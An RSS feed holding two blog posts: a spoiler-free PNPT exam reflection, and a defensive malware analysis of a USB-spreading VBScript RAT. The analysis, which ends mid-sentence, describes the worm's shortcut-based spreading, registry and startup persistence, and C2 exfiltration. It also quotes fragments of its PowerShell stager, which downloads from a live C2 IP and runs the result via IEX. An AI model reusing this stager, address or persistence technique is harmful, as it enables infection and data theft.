<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0x4C1D on Medium]]></title>
        <description><![CDATA[Stories by 0x4C1D on Medium]]></description>
        <link>https://medium.com/@0x4C1D?source=rss-b82c81e3983e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4ALu4YfV_KF7O2hbSS5EZA.png</url>
            <title>Stories by 0x4C1D on Medium</title>
            <link>https://medium.com/@0x4C1D?source=rss-b82c81e3983e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:17:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0x4C1D/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Passed the PNPT on My First Attempt: 13 Hours to the Domain Controller, but That Wasn’t the…]]></title>
            <link>https://medium.com/@0x4C1D/i-passed-the-pnpt-on-my-first-attempt-13-hours-to-the-domain-controller-but-that-wasnt-the-01c022f4fe1a?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/01c022f4fe1a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[pnpt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 12:01:41 GMT</pubDate>
            <atom:updated>2026-12-01T12:01:41.120Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Passed the PNPT on My First Attempt: 13 Hours to the Domain Controller, but That Wasn’t the Hardest Part</h3><p><em>My spoiler-free experience with the PNPT, and why the exam taught me that penetration testing is about much more than getting a shell.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*bgrMY6Eiz4r3FOAts0A_vA.png" /></figure><p>Certificate TCM site:: <a href="https://certifications.tcm-sec.com/pnpt/">https://certifications.tcm-sec.com/pnpt/</a></p><p>I recently passed the PNPT on my <strong>first attempt</strong>. And yes, there is one number I’m particularly happy with:</p><p><strong>It took me roughly 13 hours to compromise the Domain Controller.</strong></p><p>That sounds like the obvious highlight of the experience. Before starting the exam, I probably would have thought the same. Looking back, however, reaching the Domain Controller wasn’t the most important part of the journey.</p><p>The real challenge was turning technical compromise into a professional penetration test: understanding the environment, documenting the attack path, explaining the actual security impact, producing a report, and finally defending the work during the debrief.</p><p>I’ll deliberately keep this article spoiler-free. There will be no IP addresses, credentials, flags, specific vulnerabilities, exam infrastructure details, or attack paths here.</p><p>Instead, I want to talk about what the PNPT taught me about penetration testing itself.</p><h3>0x01. My Background</h3><p>My day-to-day work is primarily on the defensive side of cybersecurity.</p><p>I work with security operations, alert triage, incident investigation, threat hunting, detection engineering, and incident response as well as doing Malware Analysis and DFIR. Because of that background, I’m used to looking at activity from the defender’s perspective:</p><p><strong>What happened?<br>How can we detect it?<br>Is it malicious?<br>What evidence do we have?<br>What should we do about it?</strong></p><p>Offensive security had already been an area I was interested in, particularly Active Directory security and understanding how individual weaknesses can be chained together. But knowing individual techniques and conducting a complete penetration test are two very different things.</p><p>That was one of the main reasons I wanted to attempt the PNPT.</p><p>I wasn’t looking for an exam where the objective was simply to capture some flags. I wanted something that would force me to think about the entire assessment lifecycle. And it certainly did.</p><h3>0x02. The First 13 Hours</h3><p>Without revealing anything about the exam environment itself, I can say that the technical phase started extremely well. Approximately <strong>13 hours after starting the assessment, I had compromised the Domain Controller.</strong></p><p>Seeing that happen was obviously a great feeling. But it also created an interesting realization. <strong>I wasn’t finished. </strong>Not even close.</p><p>Obtaining privileged access might be the most exciting part of a penetration test, but from a professional perspective it answers only part of the question. A client doesn’t simply need to know that you managed to compromise something.</p><p>They need to understand:</p><ul><li>How was the attack possible?</li><li>Which weaknesses enabled it?</li><li>How serious is the exposure?</li><li>What is the potential business impact?</li><li>How can the attack path be broken?</li><li>What should be remediated first?</li></ul><p>That completely changes the way you approach the assessment. Suddenly, the objective is no longer:</p><blockquote><strong>How do I get Domain Admin?</strong></blockquote><p>It becomes:</p><blockquote><strong>Can I understand, demonstrate, document, and communicate why this attack was possible?</strong></blockquote><p>That distinction ended up being one of my biggest takeaways from the PNPT.</p><h3>0x03. Methodology Beats Memorizing Tools</h3><p>Preparing for the exam involved working with technologies and tools familiar to anyone studying Active Directory security: Windows and Linux enumeration, SMB, LDAP, Kerberos, BloodHound, Impacket, NetExec, Nmap, Burp Suite, and others.</p><p>But knowing commands isn’t enough. Tools provide information.</p><p><strong>The important skill is knowing what to do with that information.</strong></p><p>My mental process increasingly became:</p><p><strong>Enumerate → Understand → Hypothesize → Validate → Re-evaluate → Document</strong></p><p>Enumeration, in particular, shouldn’t just mean collecting as much information as possible. Every piece of information should potentially change your understanding of the environment. If something doesn’t immediately lead anywhere, that doesn’t necessarily make it irrelevant. It might become important after discovering something else.</p><p>When I got stuck, the answer was often not some exotic new exploit. Sometimes the right move was simply to go back. Re-read the notes. Look at the environment again. Challenge an assumption. Enumerate something more carefully. The exam reinforced something that I think applies far beyond certification environments:</p><blockquote><strong>Good enumeration is not a phase you complete. It is a process you continuously return to.</strong></blockquote><h3>0x04. Getting a Shell Is Not the Finish Line</h3><p>There is something inherently satisfying about exploitation.</p><p>You find a weakness.<br>You test a theory.<br>Something works.<br>A shell appears.</p><p>From a technical perspective, these are the moments we naturally remember. But a professional penetration test cannot end there. A successful compromise needs context.</p><p>Imagine telling a client:</p><blockquote><strong>“We obtained Domain Admin.”</strong></blockquote><p>Great.</p><p>Now what?<br>Why were you able to do it?<br>Which control failed?<br>Was there one critical vulnerability, or did several individually smaller weaknesses combine into a viable attack path?<br>What could an attacker actually do with that access?</p><p>Most importantly:</p><p><strong>What should the organization change to prevent it from happening again?</strong></p><p>Thinking this way changed how I documented the assessment. Evidence wasn’t something to collect afterward for the report. It became part of the testing process.</p><h3>0x05. Reporting Was a Bigger Challenge Than I Expected</h3><p>The technical part of penetration testing gets most of the attention. <strong>Reporting deserves far more.</strong></p><p>Taking notes during an assessment is relatively easy. Turning those notes into a report that another human being can actually understand is much harder.</p><p>You have to transform:</p><p>commands, screenshots, credentials, observations, failed attempts, successful attacks, and dozens of small discoveries</p><p>into a coherent story. A good finding needs to explain more than what you executed. It should answer:</p><p><strong>What happened?<br>Why was it possible?<br>Why does it matter?<br>What evidence demonstrates the issue?<br>How should it be remediated?</strong></p><p>This also forced me to think differently about individual findings.<br>A technically correct finding isn’t automatically a useful finding.If the reader cannot understand the risk or determine what to do about it, the report hasn’t really done its job.</p><p>That was probably one of the areas where my defensive security background helped me the most.</p><p>On the blue-team side, you constantly have to move between highly technical evidence and questions about risk, response, and remediation.</p><p>The PNPT made me apply the same thinking from the opposite side of the attack.</p><h3>0x06. Then Came the Debrief</h3><p>After the technical assessment and report, there was still one important step left: <strong>presenting the results.</strong></p><p>This was a very different challenge. When you’re writing a report, you have time to refine every paragraph. A debrief is different.</p><p>You need to understand your own assessment well enough to explain it naturally. You can’t hide behind screenshots or walls of technical terminology. You need to explain what happened, why it mattered, and what should be done about it.</p><p>And you need to be prepared to answer questions about your own conclusions. That made me realize something important:</p><p><strong>If you can’t clearly explain an attack path, you probably don’t understand it as well as you think you do.</strong></p><p>Preparing for the debrief forced me to step back from individual commands and look at the assessment as a whole.</p><p>Instead of thinking:</p><p><em>“I ran this command, then this tool, then this attack…”</em></p><p>I had to think:</p><p><em>“This weakness allowed this level of access, which exposed another weakness, eventually creating this security impact.”</em></p><p>That distinction is incredibly valuable.</p><h3>0x07. What I Would Do the Same Way</h3><p>A few habits proved especially valuable during the exam.</p><h3>[ * ] Document everything immediately</h3><p>Do not assume you will remember why a particular command mattered six hours later. You probably won’t. Record commands, evidence, observations, credentials, hypotheses, and important failures while they happen.</p><h3>[ * ] Understand your tools</h3><p>Copying commands from a cheat sheet will only take you so far.<br>&gt; Understand what exg. BloodHound is showing you.<br>&gt; Understand what an Impacket tool is actually doing.<br>&gt; Understand what authentication protocol you’re interacting with and why a technique works. That knowledge becomes particularly important when the obvious approach doesn’t work.</p><h3>[ * ] Have a methodology</h3><p>When stuck, you need something better than randomly trying tools.</p><p>Return to your process.</p><p>&gt; What do I know?<br>&gt; What have I enumerated?<br>&gt; What haven’t I enumerated?<br>&gt; Which assumptions have I made?<br>&gt; What new information has appeared since I last looked at this part of the environment?</p><p>That process can get you surprisingly far.</p><h3>[ * ] Think about the report while you’re testing</h3><p>Don’t wait until the technical assessment is finished to start thinking about evidence. Whenever something important happens, ask yourself:<br><strong>&gt; Could I explain and prove this to a client tomorrow?</strong></p><p>If the answer is no, collect better evidence.</p><h3>[ * ] Practice explaining your findings</h3><p>Knowing something and explaining it are different skills.<br>Say the attack path out loud.<br>Explain it without commands.<br>Then explain it without pentesting terminology.<br>If you can still communicate the risk clearly, you probably understand it.</p><h3>[ ! ]What I Would Tell Someone Preparing for the PNPT</h3><p>My biggest recommendation would be:</p><blockquote><strong><em>Don’t prepare only to compromise machines. Prepare to conduct an assessment.</em></strong></blockquote><p>Learn Active Directory. Learn enumeration. Learn privilege escalation. Learn lateral movement. Learn your tooling.</p><p>Absolutely practice exploitation. But also learn how the pieces connect. Take structured notes. Collect evidence. Understand the security implications of what you discover.</p><p><strong>And don’t neglect reporting and communication.</strong></p><p>Because eventually someone will ask the question that matters more than any shell:</p><blockquote><strong>“So what does this actually mean for us?”</strong></blockquote><p>You should be able to answer it.</p><h3>0xFF. First Attempt: Passed</h3><p>And finally, after the technical assessment, the report, the preparation, and the debrief:</p><p><strong>I passed the PNPT on my first attempt.</strong></p><p>I’m obviously proud of that. I’m proud of reaching the Domain Controller in roughly 13 hours too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*J07LaTq2ujsmBeuIAcx4Gg.png" /></figure><p>But strangely, neither of those is the biggest thing I’m taking away from the experience. The biggest takeaway is that I now look at penetration testing differently.</p><p>A penetration tester isn’t simply someone who knows how to exploit vulnerabilities.</p><p>The job is to understand an environment, identify weaknesses, demonstrate how they can be abused, determine their impact, preserve the evidence, recommend meaningful remediation, and communicate all of that clearly to another human being.</p><p>The PNPT forced me to practice that entire process. And that is what made the experience valuable.</p><p><strong>Getting a shell is exciting.<br>Getting Domain Admin is even more exciting.</strong></p><h3><strong>!!! Explaining why it matters is the real job. !!!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01c022f4fe1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[USBDriver.vbs - Malware Analysis]]></title>
            <link>https://medium.com/@0x4C1D/usbdriver-vbs-malware-analysis-5b6cd6eabdf9?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b6cd6eabdf9</guid>
            <category><![CDATA[usb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[vbs]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Thu, 20 Feb 2025 17:52:22 GMT</pubDate>
            <atom:updated>2025-02-20T17:52:22.525Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*-AeM_32sXL5k9Fk9LSdr7A.jpeg" /></figure><p>So recently I have come across an event during my daily work which caught my attention. It was an alert with a strange file name so called <strong>USBDrive.vbs.</strong></p><p>Upon analyzing the event itself it quickly became clear that this is a security incident but about this the amount of information I have already given is enough. I got interested in the VBS file itself so I managed to put my hands on the same VBS file we spotted. Again I cant tell you how :)</p><p>Since I am a Senior SOC analyst as well as doing DFIR and Malware analysis this was something new then the usual daily log digging so I got to it. Let’s see what this is and how it might operates.</p><p>Also everything here is for educational purposes. Reconstruction and usage of the malware is against the law.</p><p><em>NOTE:: This is not a CTF where you get questions to answer as well as this is an armed live sample what I have worked with. If unsure how to handle live malware do not repeat the below information or the analysis.</em></p><h3><strong><em>INITIAL ANALYSIS</em></strong></h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>At first I entered into my trusted FlareVM which is completely separated from any kind of networks or interactions. Therefore it was kind of safe to check the VBS file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*kKL1sMQ9vhpN6lQqU6iDHw.png" /></figure><p>What followed up was some basic get the hash values for the file since I haven’t had those also it was good to compare and keep it as a reference.</p><p>Luckily the file currently was existing on VT link here below:<br><a href="https://www.virustotal.com/gui/file/41746a7437003018d5d0b281f2835dbc509ce167de0b740caec03a34df98cb90/details">https://www.virustotal.com/gui/file/41746a7437003018d5d0b281f2835dbc509ce167de0b740caec03a34df98cb90/details</a></p><p>Once the basics were done a few other steps came along. First I wanted to see what is going on in the VBS so I went for strings. Now ohh boy this gave me some juicy stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7p3d8QZAr2epyWVJZ6STgA.png" /></figure><p>So the VBA is partially obfuscated. Also what is obfuscated also can be reversed :) Lucky me. Now one thing to note I did not had at this time ViperMonkey nor any other tool to deal with this so I did it the hard way. Kind of manually :D But it isnt as hard as it looks. Let me explain.</p><p>As marked on the image above it mainly uses Numerical obfuscation.</p><p>Like this part of the code after the ` comment mark::<br>(1* 2⁰ )+ (1* 2² )+ (1* 2³)<br>Now to decrypt this we need to do the math well we don’t but excel or if you are eager can write a fancy py script to it :) So as I said do the math that will result in Decimal 13. Now if you do the math for all lines you will receive a bunch of Decimal numbers which then can get translated over to the actual command or script. Like in the below example in CyberChef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a72NfNj7XmUA6SWubcx6sQ.png" /></figure><p>So I started with the comment line because why would you place a rough 13k+ lines worth data if not relevant. Now that looked like this upon reversing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Ra-HXsYoMo-62gd9OUwiQ.png" /></figure><p>Now this looks fancy or what? :)</p><p>So before I continue on this mess of data lets check whats in it for the initial execution. The below image is just a snippet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*Cp-TjaxlOCLDRhVwfQwsxA.png" /></figure><p>We can see many HocRF calls. Each HocRF(...) call computes a sum of powers of 2. Also the other thing we can spot as that the concatenation (&amp;&quot;&quot;&amp;) suggests the function builds a string. I had a pretty hefty time with it and since I havent had the needed tools I had to build a quick python script that did the math to convert it to decimal first and then to decode it in ASCII.</p><p>For reference here is the short script. It might not be fancy but works. :)</p><pre>def compute_value(expression):<br>    terms = expression.split(&quot;+&quot;)<br>    total = sum(2**int(term.split(&quot;^&quot;)[1].strip(&quot; )&quot;)) for term in terms)<br>    return total<br><br># List of expressions inside HocRF(...)<br>expressions = [<br>    &quot;(1* 2^0 )+ (1* 2^1 )+ (1* 2^4 )+ (1* 2^6)&quot;,<br>    &quot;(1* 2^0 )+ (1* 2^1 )+ (1* 2^6)&quot;,<br>    &quot;(1* 2^1 )+ (1* 2^4 )+ (1* 2^5 )+ (1* 2^6)&quot;, <br>    &quot;(1* 2^0 )+ (1* 2^3 )+ (1* 2^5 )+ (1* 2^6)&quot;, <br>    &quot;(1* 2^4 )+ (1* 2^5 )+ (1* 2^6)&quot;<br>]<br><br># Convert each expression into a decimal number<br>decimal_values = [compute_value(expr) for expr in expressions]<br><br># Convert decimal values to corresponding ASCII characters<br>decoded_message = &quot;&quot;.join(chr(val) for val in decimal_values)<br>decoded_message<br><br>print(decoded_message)</pre><p>Once I did this with all segments for the Lets say 1st section of the Malware I got the following results. In the below image I already named the obfuscated variables at least most of them. To have a better view of its initials. I know it is not perfect but good enough for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*vZ06V-9Kpl2iroyMJMojgQ.png" /></figure><p>So this is much shorter than it was. But again what we can see here we might ask?</p><p>So what we can see is basically the back bone of the malware to operate carrying out several different checks and built in scripting features to actually work. In this form it is somewhat organized but lets break down what we can know so far.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3_fvOCs0vM3aY-0OsUH4Q.png" /></figure><p>On the top we can see different temp pre set partial function-variables like</p><pre>## function DAR()<br>## function W9I84U76R()<br>etc....<br></pre><p>These are basically further obfuscations inside the code itself. The relevant segments seen a bit below lift these sections into the code block and concatenate them together with &amp; symbols separated. So we can see that the DAR variable is part of the ShellObject variable where it defines the WScript.Shell usage to execute commands.</p><p>At next in line 15 and 16 basically retries the system type (x86 or x64) by utilizing WMI. And for line 22 and 23 it checks if “SysWOW64” folder exists in the script path.</p><p>Next in at line 25 till 29 it does a self check. It basically checks if the target system is a 64-bit but the script runs in the 32-bit then it relaunches itself in the 64-bit environment. The %WINDIR% SysWOW structure allowes it to ensure that the execution happens in native 64-bit mode.</p><p>As we move down we get to the more juicy stuff. The second section of this script is the actual part that is needed for the worm / malware to operate. I must Highlight that this section is still not the functionality of the actual malware or worm. This is needed for the malicious code to be actually executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMSP-EJMtxvtICWJTOMuDw.png" /></figure><p>All to keep it short because the good stuff is only about to come the second segment of this snippet is capable of reading it’s own content also making modifications to it hence it is capable of performing operations. It has input sanitation capability by removing unwanted characters like single quotes. <br><strong><em>NOTE:: Spoiler Alert. Remember this because this will get important.</em></strong></p><p>The newly named ActiveScriptControl got its name because from the decoded sections it came to me that it can dynamically construct commands and execute them in a hidden or obfuscated manner. Also because it dynamically creates and executes codes that could be used for tasks like downloading additional data, running system commands or manipulate files.</p><h3>Malware Section Analysis</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>So in this section I will only post relevant elements of the malware sample. Might also be a bit hectic at first as the data is throw in all over the place.</p><p>Let’s begin. So at the initial part there is a comment ‘ quote which gets removed to arm the malware. Once removed and reversed we can see that initially it sets the Host, dest_port, and installdir variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*xe718lKMPiZVp1RDhZJJiQ.png" /></figure><p>Regarding the installdir it is clear from the code that first it tries the %appdata% folder and if that does not exist then it falls back to %temp%.</p><p>Another thing it suggest to build persistence and possible C2 communications because of the startup variable is set to the startup folder path. Assuming this will place copies of itself. The C2 communication is suggested due to the fact of the set httpobj of msxml2.xmlhttp. This component is used to make remote server requests. Which is supported by the following line that the function is likely to send request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*rapY5jzHz9mrWDlkaYEj9g.png" /></figure><p>Another great feature is where the script checks if the path contains the CAMERA folder where it tries to create and open a folder named DCIM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*iMe60Gu9Dd7m5me9c00rpw.png" /></figure><p>Also initially show possibility of USB spreading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/174/1*5cECAwJd1GnlBFJLygOgEA.png" /></figure><p>After the end of the initial loop it has a great loop switch which makes this run in an infinite loop to make it possible to listen to outside commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/133/1*IHk6dtBuDn1jtQuvbFELAw.png" /></figure><p>A little further down we can see the cases the now suspectadly RAT can receive as inputs from remote server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*8uUEbL2SiNnDoDtyuW42uQ.png" /></figure><p>I wont break them down now but this command handler is a central part of the malware’s remote control functionality. It waits for instructions from a remote server, parses the command, and then performs corresponding actions on the infected system — from executing commands and updating itself to enumerating system information and managing processes.</p><p>At the end of the handler section is a sleep function that makes the RAT to wait to receive input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/196/1*FhP-qpyo8zl0QHY_e1dU5g.png" /></figure><p>As I went down the script the exact functions got defined within the VBA code along with many other interesting things. Remember we suspected USB spreading? Well it is capable to do that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*6AjbL_A9Nwl11_tEVQCdfQ.png" /></figure><p>What this does is basically checks available drives. Loops through all drives available on the system using the file system object. Then for each drive, it checks if the drive is ready, has free space, and if it is a specific type (in this case, drive type 1, which typically indicates a <strong>removable drive</strong>). <br>Next on each removable drive that meets the criteria, the script checks if the folder named <strong>“Camera”</strong> already exist or not. If the folder isn’t there, it creates the <strong>“Camera”</strong> folder on the drive (possibly a Hidden one).</p><p>Then the malware copies itself (using wscript.scriptfullname) into the newly created <strong>&quot;Camera&quot;</strong> folder. It names the copy <strong>“USBDrive.vbs”</strong> and sets its file attributes to <strong>hidden</strong> and <strong>system</strong> (attributes 2 and 4), making it less visible to users.</p><p>The script then creates a deception shortcut file named <strong>“DCIM.lnk”</strong> in the same <strong>“Camera”</strong> folder. The shortcut is configured to run <strong>cmd.exe</strong> with arguments that launch <strong>wscript.exe USBDrive.vbs</strong>.</p><p>It also sets the shortcut icon to one from the system’s <strong>SHELL32.dll</strong>, which makes it look more legitimate. The use of names like <strong>“Camera”</strong> and <strong>“DCIM”</strong> is intentional: these names mimic folders typically found on digital cameras or smartphones, making users more likely to open them also to deceive analysis on the system and blend better in.</p><p>The malware also collects data about the system it is infected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*H3lMKTQZBaD2BVPIujoXNQ.png" /></figure><p>As it can be observed it does initially check whether the global variable inf is empty, it constructs the string by appending:</p><ul><li>Hardware ID (hwid) and a custom delimiter (spliter).</li><li>The computer name (using %computername%).</li><li>The username (using %username%).</li></ul><p>Once this is filled it utilizes Windows Management Instrumentation (WMI) to query the win32_operatingsystem class. It retrieves the OS caption (a friendly name of the operating system) and appends it.</p><pre>information = inf</pre><p>The string “Premry” (possibly a typo for “Primary” or a marker used by the malware). Another level of deepness to it.<br>A variable called security (which may contain further system or configuration details).<br>The variable usbspreading (indicating whether USB spreading is enabled or some related status).</p><p>At last in this segment it adds hard coded or dynamically determined strings to inf aka information. This means that subsequent calls to information returns the same data without recomputing meaning it has caching capability as well.</p><p>Upon information collection it creates persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nzbRTw7AFe9lzqlWjCqowQ.png" /></figure><p>The script writes an entry to both the <strong>HKEY_CURRENT_USER</strong> and <strong>HKEY_LOCAL_MACHINE</strong> registry keys under the Run section to create redundancy.</p><p>Then the value of the registry is set to execute wscript.exe //B runs the script in batch mode (without any popup windows).<br>Another nice touch is the use of chrw(34) inserts quotation marks around the full path (combining installdir and installname), ensuring the command works even if there are spaces in the path.</p><p>It is followed by the malware copying its own file (referenced by wscript.scriptfullname) to the installdir with the name installnameto ensures that a copy of the malware is stored in a location where it can be reliably executed upon startup.</p><p>At last in this segment with the set lnkobj the script creates a shortcut file named <strong>“Java_Update.lnk”</strong> in the system’s Startup folder.<br>The shortcut is set to run <strong>cmd.exe</strong>. It passes the command /c start installdir\installname to launch the malware script.<br>Also the shortcut is configured to be hidden (using windowstyle = 7) and uses the explorer.exe icon, which helps it appear less suspicious.</p><p>It has security monitoring functions as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*mHYMkXDWijfmZfZOOY8E2Q.jpeg" /></figure><p>What happens here basically is that it is using WMI to query the win32_operatingsystem class for OS information. When it retrieves the information it splits the version string into its components then reconstructs and evaluates. Depending on the numeric OS version it can select to either use securitycenter2 for newer OS versions if it is greater than 6 or securitycenter for older versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*xBMmZoAQ0tE2YRuwxWejFA.jpeg" /></figure><p>Then for this feature at last it appends each AV products display name to the security string. If no AV can be found then it sets the string to “nan-av”</p><p>The last security feature is the USB spreading determination. It helps the malware to decide if it should enable USB spreading based on its file path and registers this information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*gPAIw6rxjTdv6IdDXdDrtg.jpeg" /></figure><p>The malware reads specific registry key under <strong>HKEY_LOCAL_MACHINE\software\&lt;malware_name_without_extension&gt;<br></strong>to check if the value is already stored.</p><p>If the value is empty, it compares the lowercase version of the script’s file path (minus the first character) with a pattern constructed from the drive letter and the install name.</p><p>If they match, it considers USB spreading enabled, sets usbspreading to &quot;true - &lt;date&gt;&quot;, and writes this status to the registry.</p><p>Otherwise, it sets usbspreading to &quot;false - &lt;date&gt;&quot; and writes that status.</p><p>This mechanism helps the malware track whether it is running from a specific location (for example, its installed directory) and whether it should propagate via USB drives.</p><p>Next up we have some even nicer stuff. It does an upstart and self replication check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*fWJy60JEMsl2qho88wFG4g.jpeg" /></figure><p>What this does is telling the malware if it is running from its intended installation location. How this works in short:</p><ul><li>It retrieves file objects for both the current script (its full path) and the target installed copy.</li><li>If the current script’s path does not match the installed copy’s path, it launches the installed version using wscript.exe in batch mode and then quits the current instance.</li><li>Afterwards, it attempts to open the installed file in append mode (mode 8) and if an error occurs, it quits — ensuring that only a valid instance continues to run.</li></ul><p>If all of this checks out then it proceeds with a file download via HTTP. Within the code there are two methods the malware can use. A site download method with GET request and a Download subroutine with POST request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*NKLFCYUHjF8rgMsYxy1Khg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*cA1tCJeiplQtsZ-b-cqR7Q.jpeg" /></figure><p>Both of the methods work kind of similarly. Downloads a file from a given URL or in the Download subroutine from a C2 server via POST and saves it to the installation directory with the specified filename. Then it checks if the file already exists if it does it deletes it. Upon a successful response (status 200), it writes the response body to the target file using an ADODB stream. At last if the file is present, it executes it. The two subroutine again suggest fallback options to make sure communication happens and can be carried out.</p><p>At last here it has upload capability making file exfiltration possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*p5Kcpn12s09xinVKGsXqlQ.jpeg" /></figure><p>This function uploads a file from the victim’s system to the attacker’s server. It creates an ADODB stream to read the contents of the file specified by fileurl. Then the contents are stored in a buffer and an HTTP POST request is then sent to the server with the file content as the request body. Over this function the Malware gains Exfiltration capabilities.</p><p>We are almost at the end I promise. So we still got some fun left. Next up the malware has different capabilities for enumeration.</p><p>It can do Driver enumeration. Meaning that it is capable of gathering drive details like path and type for each accessible drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*TSAmOsBqLVkagsiSxE9xNQ.jpeg" /></figure><p>Possible to do sub-folder enumeration. Meaning it can list sub-folders and files within a directory also providing names, sizes, types, etc…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*HBlusArTgCJ9pm4ZfcwAMQ.jpeg" /></figure><p>It is also capable of process enumeration. The malware is capable of retrieving running processes with their names, IDs and paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*f_wpzGRXNpPwB3BphzvUBg.jpeg" /></figure><p>And last but not least it can kill processes by their PIDS with the Windows taskkill command as well as to Delete a file or folder specified by a given path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*zxdSZqNH9PA4mYxTa8825A.jpeg" /></figure><p>On the finals it can run a shell command and capture its output from stdout or stderr.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*s9JCuWESWKZ636ngHPOE4w.jpeg" /></figure><p>Final mess at the end to put the cherry on the cake. To run ahead a bit the final behavior of the script does to following. When the system starts up the shortcut will lunch a PowerShell with a hidden window. The PS reads the obfuscated command fragments from the registry, concatenates them, and executes the final command. This command is designed to download and execute additional remote code.</p><p>Now that this is out of the way let see whats in it. Basically in the code two variables are defined Z8 and Z7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LqAC-K7b_C6LRACDRpw5qQ.jpeg" /></figure><p>I’ve put this into a bit more readable format</p><p>So Z8 function is basically responsible for random string generation of eight (8) uppercase letters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*sYA1K2bUX42Y1Uvqv7VVcA.jpeg" /></figure><p>The purpose for this is to create random variable names to obfuscate the PowerShell command later. Also this is making static analysis even more difficult because we can not determine the file outcome statically.</p><p>Z7 is responsible for the execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Sk3GDXhoTsmrM_kpWyv_g.jpeg" /></figure><p>As part of this is shows we can see 3 keys Sat, Dat and Gat. These are the three peaces that contain the command segments.</p><p>The key “Sat” contains the first fragment of a PowerShell command. It creates a new WebClient object and opens a read stream from a URL (constructed from parts like &#39;http://185.&#39; and &#39;81.157.186/&#39;).</p><p>The second key “Dat” contains the middle fragment (e.g., part of a file path or URL, such as &#39;+&#39;NDA/199.png&#39;);[System.IO.StreamReader]$sr = New-Object System.&quot;).</p><p>The third key “Gat” has the final fragment, which completes the command by reading the stream and executing the downloaded content using IEX (Invoke-Expression).</p><p>At last we have the final command that finishes off the job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*hk7vn3y6K1MoljtJXE0utg.jpeg" /></figure><p>The script determines the startup folder location. Once there it creates a shortcut file (named “windowsUpdate.lnk”) in that folder.</p><p>Next it determines the appropriate PowerShell executable path. If the folder C:\Program Files (x86) does not exist, it uses &quot;Powershell&quot;. Otherwise, it uses the full path to the 32-bit PowerShell executable (often located in syswow64).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycGn397sE3qLp54r4MoIJg.jpeg" /></figure><p>At the end it calls the Z8 function four times to generate four random strings. These will serve as obfuscated variable names. The shortcut’s arguments are 